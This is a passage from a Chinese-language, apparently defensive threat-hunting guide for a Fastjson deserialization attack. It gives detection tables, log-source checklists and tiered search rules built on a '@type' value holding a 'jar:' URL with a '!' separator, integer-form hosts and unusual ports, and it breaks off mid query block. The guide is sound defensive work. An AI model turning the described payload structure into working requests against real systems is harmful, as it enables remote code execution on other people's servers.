IP、非常用端口或新域名</span></p></td><td style="padding: 8px 5px;border: 1px solid rgb(219, 228, 238);color: rgb(51, 65, 85);text-align: left;vertical-align: top;background: rgb(255, 255, 255);word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">应用是否存在绕过代理的直连路径；内网地址是否纳入审计</span></p></td></tr><tr><td style="padding: 8px 5px;border: 1px solid rgb(219, 228, 238);color: rgb(51, 65, 85);text-align: left;vertical-align: top;background: rgb(255, 255, 255);word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">EDR / HIDS</span></p></td><td style="padding: 8px 5px;border: 1px solid rgb(219, 228, 238);color: rgb(51, 65, 85);text-align: left;vertical-align: top;background: rgb(255, 255, 255);word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">Java 进程创建 Shell、执行系统命令、写入异常文件</span></p></td><td style="padding: 8px 5px;border: 1px solid rgb(219, 228, 238);color: rgb(51, 65, 85);text-align: left;vertical-align: top;background: rgb(255, 255, 255);word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">容器内是否部署探针；策略是否采集 Java 子进程和文件行为</span></p></td></tr><tr><td style="padding: 8px 5px;border: 1px solid rgb(219, 228, 238);color: rgb(51, 65, 85);text-align: left;vertical-align: top;background: rgb(255, 255, 255);word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">RASP / Java Agent</span></p></td><td style="padding: 8px 5px;border: 1px solid rgb(219, 228, 238);color: rgb(51, 65, 85);text-align: left;vertical-align: top;background: rgb(255, 255, 255);word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">Fastjson 类型检查、异常类加载或运行时调用</span></p></td><td style="padding: 8px 5px;border: 1px solid rgb(219, 228, 238);color: rgb(51, 65, 85);text-align: left;vertical-align: top;background: rgb(255, 255, 255);word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">Agent 是否覆盖目标 JVM；规则版本是否包含本次新路径</span></p></td></tr><tr><td style="padding: 8px 5px;border: 1px solid rgb(219, 228, 238);color: rgb(51, 65, 85);text-align: left;vertical-align: top;background: rgb(255, 255, 255);word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">SCA / SBOM</span></p></td><td style="padding: 8px 5px;border: 1px solid rgb(219, 228, 238);color: rgb(51, 65, 85);text-align: left;vertical-align: top;background: rgb(255, 255, 255);word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">Fastjson 版本、传递依赖和受影响资产</span></p></td><td style="padding: 8px 5px;border: 1px solid rgb(219, 228, 238);color: rgb(51, 65, 85);text-align: left;vertical-align: top;background: rgb(255, 255, 255);word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">只说明暴露版本，不足以单独证明攻击请求或代码执行已经发生</span></p></td></tr></tbody></table><p style="font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin: 14px 0px;color: rgb(51, 65, 85);line-height: 1.9;letter-spacing: 0.02em;" data-nest-level="2"><span leaf="" data-nest-level="3">对当前公开样本来说，只有当解析出的 JSON 键确实是 </span><code style="padding: 2px 5px;border-radius: 5px;background: rgb(238, 242, 255);color: rgb(55, 48, 163);font-size: 0.9em;font-family: SFMono-Regular, Consolas, monospace;" data-nest-level="3"><span leaf="" data-nest-level="4">@type</span></code><span leaf="" data-nest-level="3">，而且它对应的值里同时出现 </span><code style="padding: 2px 5px;border-radius: 5px;background: rgb(238, 242, 255);color: rgb(55, 48, 163);font-size: 0.9em;font-family: SFMono-Regular, Consolas, monospace;" data-nest-level="3"><span leaf="" data-nest-level="4">jar:</span></code><span leaf="" data-nest-level="3">与 JAR 资源分隔符 </span><code style="padding: 2px 5px;border-radius: 5px;background: rgb(238, 242, 255);color: rgb(55, 48, 163);font-size: 0.9em;font-family: SFMono-Regular, Consolas, monospace;" data-nest-level="3"><span leaf="" data-nest-level="4">!</span></code><span leaf="" data-nest-level="3">，才适合作为优先核查线索。即使命中，也先表述为“疑似构造请求”；是否发生远程获取和代码执行，还要继续看出站与主机行为。整数形式主机、异常点号和非常用端口更适合作为辅助加权条件。单独出现 </span><code style="padding: 2px 5px;border-radius: 5px;background: rgb(238, 242, 255);color: rgb(55, 48, 163);font-size: 0.9em;font-family: SFMono-Regular, Consolas, monospace;" data-nest-level="3"><span leaf="" data-nest-level="4">@type</span></code><span leaf="" data-nest-level="3">的范围较大，部分历史业务可能使用 </span><code style="padding: 2px 5px;border-radius: 5px;background: rgb(238, 242, 255);color: rgb(55, 48, 163);font-size: 0.9em;font-family: SFMono-Regular, Consolas, monospace;" data-nest-level="3"><span leaf="" data-nest-level="4">SerializerFeature.WriteClassName</span></code><span leaf="" data-nest-level="3">，直接据此判定攻击容易带来误报。</span></p><p style="font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin: 14px 0px;color: rgb(51, 65, 85);line-height: 1.9;letter-spacing: 0.02em;" data-nest-level="2"><span leaf="" data-nest-level="3">影响检出率的主要是规范化过程。攻击字符串可能位于多层 JSON、字符串字段、URL 参数或经过编码的请求体中；如果设备只检查 URI，或者只对原始字节做关键词匹配，覆盖面会打折。更可靠的规则应先完成解压、JSON 解析和常见转义还原，再对键名和值做组合判断。</span></p><p style="font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin: 14px 0px;color: rgb(51, 65, 85);line-height: 1.9;letter-spacing: 0.02em;" data-nest-level="2"><span leaf="" data-nest-level="3">所以，安全团队需要向产品侧确认的不是一句“有没有 Fastjson 规则”，而是下面这些具体问题：</span></p><ul style="font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin: 12px 0px 18px;padding-left: 1.35em;color: rgb(51, 65, 85);" class="list-paddingleft-1"><li style="margin: 7px 0px;line-height: 1.8;"><p data-nest-level="4"><span leaf="" data-nest-level="5">规则编号、更新时间和适用版本是什么；</span></p></li><li style="margin: 7px 0px;line-height: 1.8;"><p data-nest-level="4"><span leaf="" data-nest-level="5">检查位置是否同时覆盖 URL 参数与请求体；</span></p></li><li style="margin: 7px 0px;line-height: 1.8;"><p data-nest-level="4"><span leaf="" data-nest-level="5">是否支持 JSON 嵌套、Unicode 转义、URL 编码和压缩 Body；</span></p></li><li style="margin: 7px 0px;line-height: 1.8;"><p data-nest-level="4"><span leaf="" data-nest-level="5">命中后是告警、阻断还是仅记录；</span></p></li><li style="margin: 7px 0px;line-height: 1.8;"><p data-nest-level="4"><span leaf="" data-nest-level="5">TLS 解密、反向代理和容器东西向流量是否处于规则覆盖路径；</span></p></li><li style="margin: 7px 0px;line-height: 1.8;"><p data-nest-level="4"><span leaf="" data-nest-level="5">命中日志是否保留原始请求、规范化结果、源 IP、URI、响应码和规则 ID。</span></p></li></ul><h2 style="font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin: 38px 0px 16px;padding: 0px 0px 0px 12px;border-left: 5px solid rgb(37, 99, 235);color: rgb(20, 33, 61);font-size: 23px;line-height: 1.35;font-weight: 750;" data-nest-level="2"><span leaf="" data-nest-level="3">请求侧威胁检索怎么做</span></h2><p style="font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin: 14px 0px;color: rgb(51, 65, 85);line-height: 1.9;letter-spacing: 0.02em;" data-nest-level="2"><span leaf="" data-nest-level="3">威胁检索可以从 7 月 19 日作者首次披露的时间点开始；日志条件允许时，再向前回溯 30 天。先覆盖公网入口和高风险服务，避免一开始对全部业务请求体做大范围长期留存。</span></p><h3 style="font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin: 30px 0px 13px;padding: 9px 12px;border-radius: 8px;background: rgb(241, 245, 249);color: rgb(30, 58, 95);font-size: 19px;line-height: 1.45;font-weight: 750;" data-nest-level="2"><span leaf="" data-nest-level="3">先把网文样例当作结构线索</span></h3><p style="font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin: 14px 0px;color: rgb(51, 65, 85);line-height: 1.9;letter-spacing: 0.02em;" data-nest-level="2"><span leaf="" data-nest-level="3">网文给出的示例，把 </span><code style="padding: 2px 5px;border-radius: 5px;background: rgb(238, 242, 255);color: rgb(55, 48, 163);font-size: 0.9em;font-family: SFMono-Regular, Consolas, monospace;" data-nest-level="3"><span leaf="" data-nest-level="4">@type</span></code><span leaf="" data-nest-level="3">的值写成了由 </span><code style="padding: 2px 5px;border-radius: 5px;background: rgb(238, 242, 255);color: rgb(55, 48, 163);font-size: 0.9em;font-family: SFMono-Regular, Consolas, monospace;" data-nest-level="3"><span leaf="" data-nest-level="4">jar:</span></code><span leaf="" data-nest-level="3">、</span><code style="padding: 2px 5px;border-radius: 5px;background: rgb(238, 242, 255);color: rgb(55, 48, 163);font-size: 0.9em;font-family: SFMono-Regular, Consolas, monospace;" data-nest-level="3"><span leaf="" data-nest-level="4">http</span></code><span leaf="" data-nest-level="3">、整数形式主机、端口、点号和 </span><code style="padding: 2px 5px;border-radius: 5px;background: rgb(238, 242, 255);color: rgb(55, 48, 163);font-size: 0.9em;font-family: SFMono-Regular, Consolas, monospace;" data-nest-level="3"><span leaf="" data-nest-level="4">!</span></code><span leaf="" data-nest-level="3">组合起来的字符串。这条样例有参考价值，但整串字面量不适合作为固定 IOC：IP、端口、资源名、大小写、空白、编码方式和 JSON 嵌套位置都可以变化，而且目前也没有证据证明它与 Firsov 尚未公开的完整链完全一致。</span></p><p style="font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin: 14px 0px;color: rgb(51, 65, 85);line-height: 1.9;letter-spacing: 0.02em;" data-nest-level="2"><span leaf="" data-nest-level="3">因此，检索时不必盯住示例中的某个十进制数字、端口或文件名，也不宜把所有 </span><code style="padding: 2px 5px;border-radius: 5px;background: rgb(238, 242, 255);color: rgb(55, 48, 163);font-size: 0.9em;font-family: SFMono-Regular, Consolas, monospace;" data-nest-level="3"><span leaf="" data-nest-level="4">@type</span></code><span leaf="" data-nest-level="3">请求直接算作攻击。更稳妥的办法是先识别结构，再逐步关联上下文：</span></p><blockquote style="font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;box-sizing: border-box;margin: 18px 0px;padding: 14px 16px;border-left: 5px solid rgb(59, 130, 246);border-radius: 0px 10px 10px 0px;background: rgb(239, 246, 255);color: rgb(30, 58, 95);"><p style="margin: 14px 0px;color: rgb(51, 65, 85);font-size: 16px;line-height: 1.9;letter-spacing: 0.02em;" data-nest-level="3"><span leaf="" data-nest-level="4">JSON 中存在名为 </span><code style="padding: 2px 5px;border-radius: 5px;background: rgb(238, 242, 255);color: rgb(55, 48, 163);font-size: 0.9em;font-family: SFMono-Regular, Consolas, monospace;" data-nest-level="4"><span leaf="" data-nest-level="5">@type</span></code><span leaf="" data-nest-level="4">的键 → 检查该键对应的值是否具有 JAR URL / 资源引用结构 → 再关联同一服务的出站请求与 Java 进程行为。</span></p></blockquote><h3 style="font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin: 30px 0px 13px;padding: 9px 12px;border-radius: 8px;background: rgb(241, 245, 249);color: rgb(30, 58, 95);font-size: 19px;line-height: 1.45;font-weight: 750;" data-nest-level="2"><span leaf="" data-nest-level="3">先确认有没有请求体数据</span></h3><p style="font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin: 14px 0px;color: rgb(51, 65, 85);line-height: 1.9;letter-spacing: 0.02em;" data-nest-level="2"><span leaf="" data-nest-level="3">很多 Nginx 和普通访问日志默认只记录方法、URI、状态码，不保存 POST Body。可优先检查：</span></p><ul style="font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin: 12px 0px 18px;padding-left: 1.35em;color: rgb(51, 65, 85);" class="list-paddingleft-1"><li style="margin: 7px 0px;line-height: 1.8;"><p data-nest-level="4"><span leaf="" data-nest-level="5">WAF 或 API 网关安全事件；</span></p></li><li style="margin: 7px 0px;line-height: 1.8;"><p data-nest-level="4"><span leaf="" data-nest-level="5">网关请求采样、审计日志和攻击日志；</span></p></li><li style="margin: 7px 0px;line-height: 1.8;"><p data-nest-level="4"><span leaf="" data-nest-level="5">应用异常日志中的原始输入或 Fastjson 异常信息；</span></p></li><li style="margin: 7px 0px;line-height: 1.8;"><p data-nest-level="4"><span leaf="" data-nest-level="5">APM、RASP、服务网格和反向代理记录；</span></p></li><li style="margin: 7px 0px;line-height: 1.8;"><p data-nest-level="4"><span leaf="" data-nest-level="5">出口代理、DNS、NDR 与 EDR 数据。</span></p></li></ul><p style="font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin: 14px 0px;color: rgb(51, 65, 85);line-height: 1.9;letter-spacing: 0.02em;" data-nest-level="2"><span leaf="" data-nest-level="3">如果历史日志没有请求体，仍可从出站连接和主机行为反向寻找线索。后续临时增加 Body 审计时，建议只覆盖涉及 Fastjson 的高风险接口，并对口令、Token、个人信息等字段做脱敏和短周期留存。</span></p><h3 style="font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin: 30px 0px 13px;padding: 9px 12px;border-radius: 8px;background: rgb(241, 245, 249);color: rgb(30, 58, 95);font-size: 19px;line-height: 1.45;font-weight: 750;" data-nest-level="2"><span leaf="" data-nest-level="3">请求特征分级检索</span></h3><p style="font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin: 14px 0px;color: rgb(51, 65, 85);line-height: 1.9;letter-spacing: 0.02em;" data-nest-level="2"><span leaf="" data-nest-level="3">优先使用设备已经解压、解码并完成 JSON 解析的规范化字段，同时保留原始请求用于复核。嵌套 JSON、字符串内嵌 JSON、Unicode 转义和 URL 编码应分别处理，避免仅在原始字节上匹配一个固定字符串。</span></p><table style="width: 688px;max-width: 100%;border-collapse: collapse;table-layout: fixed;background: rgb(255, 255, 255);font-size: 12px;line-height: 1.55;min-width: 0px;"><thead><tr><th style="padding: 8px 5px;border: 1px solid rgb(203, 213, 225);background: rgb(234, 242, 255);color: rgb(23, 54, 93);font-weight: 700;text-align: left;vertical-align: top;word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">级别</span></p></th><th style="padding: 8px 5px;border: 1px solid rgb(203, 213, 225);background: rgb(234, 242, 255);color: rgb(23, 54, 93);font-weight: 700;text-align: left;vertical-align: top;word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">建议检索条件</span></p></th><th style="padding: 8px 5px;border: 1px solid rgb(203, 213, 225);background: rgb(234, 242, 255);color: rgb(23, 54, 93);font-weight: 700;text-align: left;vertical-align: top;word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">解释</span></p></th></tr></thead><tbody><tr><td style="padding: 8px 5px;border: 1px solid rgb(219, 228, 238);color: rgb(51, 65, 85);text-align: left;vertical-align: top;background: rgb(255, 255, 255);word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">优先核查</span></p></td><td style="padding: 8px 5px;border: 1px solid rgb(219, 228, 238);color: rgb(51, 65, 85);text-align: left;vertical-align: top;background: rgb(255, 255, 255);word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">解析出的键名正好是 </span><code style="padding: 2px 5px;border-radius: 5px;background: rgb(238, 242, 255);color: rgb(55, 48, 163);font-size: 0.9em;font-family: SFMono-Regular, Consolas, monospace;word-break: break-all;overflow-wrap: anywhere;white-space: normal;" data-nest-level="7"><span leaf="" data-nest-level="8">@type</span></code><span leaf="" data-nest-level="7">，且其对应值同时含有 </span><code style="padding: 2px 5px;border-radius: 5px;background: rgb(238, 242, 255);color: rgb(55, 48, 163);font-size: 0.9em;font-family: SFMono-Regular, Consolas, monospace;word-break: break-all;overflow-wrap: anywhere;white-space: normal;" data-nest-level="7"><span leaf="" data-nest-level="8">jar:</span></code><span leaf="" data-nest-level="7">与 </span><code style="padding: 2px 5px;border-radius: 5px;background: rgb(238, 242, 255);color: rgb(55, 48, 163);font-size: 0.9em;font-family: SFMono-Regular, Consolas, monospace;word-break: break-all;overflow-wrap: anywhere;white-space: normal;" data-nest-level="7"><span leaf="" data-nest-level="8">!</span></code></p></td><td style="padding: 8px 5px;border: 1px solid rgb(219, 228, 238);color: rgb(51, 65, 85);text-align: left;vertical-align: top;background: rgb(255, 255, 255);word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">与公开样本的 JAR 资源结构接近；表示可疑请求，不代表利用成功</span></p></td></tr><tr><td style="padding: 8px 5px;border: 1px solid rgb(219, 228, 238);color: rgb(51, 65, 85);text-align: left;vertical-align: top;background: rgb(255, 255, 255);word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">进一步核查</span></p></td><td style="padding: 8px 5px;border: 1px solid rgb(219, 228, 238);color: rgb(51, 65, 85);text-align: left;vertical-align: top;background: rgb(255, 255, 255);word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><code style="padding: 2px 5px;border-radius: 5px;background: rgb(238, 242, 255);color: rgb(55, 48, 163);font-size: 0.9em;font-family: SFMono-Regular, Consolas, monospace;word-break: break-all;overflow-wrap: anywhere;white-space: normal;" data-nest-level="6"><span leaf="" data-nest-level="7">@type</span></code><p data-nest-level="6"><span leaf="" data-nest-level="7">对应值含有 </span><code style="padding: 2px 5px;border-radius: 5px;background: rgb(238, 242, 255);color: rgb(55, 48, 163);font-size: 0.9em;font-family: SFMono-Regular, Consolas, monospace;word-break: break-all;overflow-wrap: anywhere;white-space: normal;" data-nest-level="7"><span leaf="" data-nest-level="8">jar:http</span></code><span leaf="" data-nest-level="7">、</span><code style="padding: 2px 5px;border-radius: 5px;background: rgb(238, 242, 255);color: rgb(55, 48, 163);font-size: 0.9em;font-family: SFMono-Regular, Consolas, monospace;word-break: break-all;overflow-wrap: anywhere;white-space: normal;" data-nest-level="7"><span leaf="" data-nest-level="8">jar:https</span></code><span leaf="" data-nest-level="7">或 </span><code style="padding: 2px 5px;border-radius: 5px;background: rgb(238, 242, 255);color: rgb(55, 48, 163);font-size: 0.9em;font-family: SFMono-Regular, Consolas, monospace;word-break: break-all;overflow-wrap: anywhere;white-space: normal;" data-nest-level="7"><span leaf="" data-nest-level="8">jar:file</span></code><span leaf="" data-nest-level="7">，但日志截断、解码结果或分隔符信息不完整</span></p></td><td style="padding: 8px 5px;border: 1px solid rgb(219, 228, 238);color: rgb(51, 65, 85);text-align: left;vertical-align: top;background: rgb(255, 255, 255);word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">可能是相关探测，也可能是测试、扫描或其他业务数据</span></p></td></tr><tr><td style="padding: 8px 5px;border: 1px solid rgb(219, 228, 238);color: rgb(51, 65, 85);text-align: left;vertical-align: top;background: rgb(255, 255, 255);word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">辅助加权</span></p></td><td style="padding: 8px 5px;border: 1px solid rgb(219, 228, 238);color: rgb(51, 65, 85);text-align: left;vertical-align: top;background: rgb(255, 255, 255);word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">同一字段还出现整数形式主机、连续点号、异常冒号结构、裸 IP 或非常用端口</span></p></td><td style="padding: 8px 5px;border: 1px solid rgb(219, 228, 238);color: rgb(51, 65, 85);text-align: left;vertical-align: top;background: rgb(255, 255, 255);word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">可提高调查优先级，单独出现时证据较弱</span></p></td></tr><tr><td style="padding: 8px 5px;border: 1px solid rgb(219, 228, 238);color: rgb(51, 65, 85);text-align: left;vertical-align: top;background: rgb(255, 255, 255);word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">资产线索</span></p></td><td style="padding: 8px 5px;border: 1px solid rgb(219, 228, 238);color: rgb(51, 65, 85);text-align: left;vertical-align: top;background: rgb(255, 255, 255);word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">只出现 </span><code style="padding: 2px 5px;border-radius: 5px;background: rgb(238, 242, 255);color: rgb(55, 48, 163);font-size: 0.9em;font-family: SFMono-Regular, Consolas, monospace;word-break: break-all;overflow-wrap: anywhere;white-space: normal;" data-nest-level="7"><span leaf="" data-nest-level="8">@type</span></code></p></td><td style="padding: 8px 5px;border: 1px solid rgb(219, 228, 238);color: rgb(51, 65, 85);text-align: left;vertical-align: top;background: rgb(255, 255, 255);word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">先核对接口基线、Fastjson 使用方式和历史业务数据，不直接定性</span></p></td></tr></tbody></table><p style="font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin: 14px 0px;color: rgb(51, 65, 85);line-height: 1.9;letter-spacing: 0.02em;" data-nest-level="2"><span leaf="" data-nest-level="3">各类日志平台的查询语法不同，核心方法一致。具备 JSON 字段提取能力时，优先按键值关系查询：</span></p><pre style="color: rgb(36, 48, 71);font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;box-sizing: border-box;margin: 16px 0px;padding: 15px 16px;border-radius: 10px;background: rgb(23, 32, 51);overflow-x: auto;white-space: pre-wrap;word-break: break-all;" data-nest-level="2"><code style="color: rgb(226, 232, 240);font-size: 13px;line-height: 1.65;" data-nest-level="3"><span leaf="" data-nest-level="4">TYPE_VALUE = 规范化请求体中，键名正好等于 &#34;@type&#34; 的字段值REQUEST_SIGNAL =    TYPE_VALUE 